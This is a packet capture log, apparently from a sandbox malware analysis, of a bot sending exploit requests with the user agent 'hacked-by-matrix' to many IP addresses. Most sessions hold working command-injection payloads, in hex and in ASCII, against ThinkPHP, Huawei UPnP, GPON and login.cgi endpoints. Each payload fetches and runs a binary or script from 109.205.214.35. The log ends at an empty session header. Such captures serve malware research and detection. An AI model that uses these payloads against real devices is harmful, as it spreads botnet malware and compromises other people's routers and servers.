3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2258	192.168.2.13	53434	95.139.70.5	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.817991018 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:51.981389046 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
2259	192.168.2.13	39150	156.77.130.188	37215

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.878977060 CET	826	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:23:48.525388002 CET	826	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2260	192.168.2.13	40798	109.94.232.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.924509048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2261	192.168.2.13	47936	5.248.24.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.924510956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2262	192.168.2.13	55016	5.75.91.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.924539089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2263	192.168.2.13	38176	212.31.96.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.924544096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2264	192.168.2.13	51114	42.249.172.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.924576044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2265	192.168.2.13	40030	5.199.85.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.924604893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2266	192.168.2.13	53646	42.221.21.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.924618959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2267	192.168.2.13	47130	212.85.105.67	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:47.941812038 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:48.131295919 CET	285	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:48 GMT Content-Type: text/html Content-Length: 128 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2268	192.168.2.13	50290	212.162.152.242	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:48.073848963 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:48.238872051 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:48 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2269	192.168.2.13	37732	88.99.216.112	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:48.114460945 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:48.669445038 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:48.844770908 CET	1198	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:48 GMT Server: Apache Vary: accept-language,accept-charset,Accept-Encoding Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en Expires: Thu, 21 Mar 2024 04:23:48 GMT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 42 61 64 20 72 65 71 75 65 73 74 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 73 75 70 70 6f 72 74 40 76 69 63 69 62 6f 78 2e 6c 6f 63 61 6c 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 72 65 71 75 65 73 74 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0a 0a 20 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 28 6f 72 20 70 72 6f 78 79 29 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 0a 20 20 20 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 0a 0a 3c 2f 70 3e 0a 3c 70 3e 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 73 75 70 70 6f 72 74 40 76 69 63 69 62 6f 78 2e 6c 6f 63 61 6c 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 34 30 30 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 76 69 63 69 62 6f 78 2e 6c 6f 63 61 6c 3c 2f 61 3e 3c 62 72 20 2f 3e 0a 20 20 3c 73 70 61 6e 3e 41 70 61 63 68 65 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Bad request!</title><link rev="made" href="mailto:support@vicibox.local" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>Bad request!</h1><p> Your browser (or proxy) sent a request that this server could not understand.</p><p>If you think this is a server error, please contactthe <a href="mailto:support@vicibox.local">webmaster</a>.</p><h2>Error 400</h2><address> <a href="/">vicibox.local</a><br /> <span>Apache</span></address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2270	192.168.2.13	43026	212.248.68.11	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:48.126892090 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:48.340783119 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:48 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2271	192.168.2.13	45528	5.209.150.95	52869

Timestamp	Bytes transferred	Direction	Data
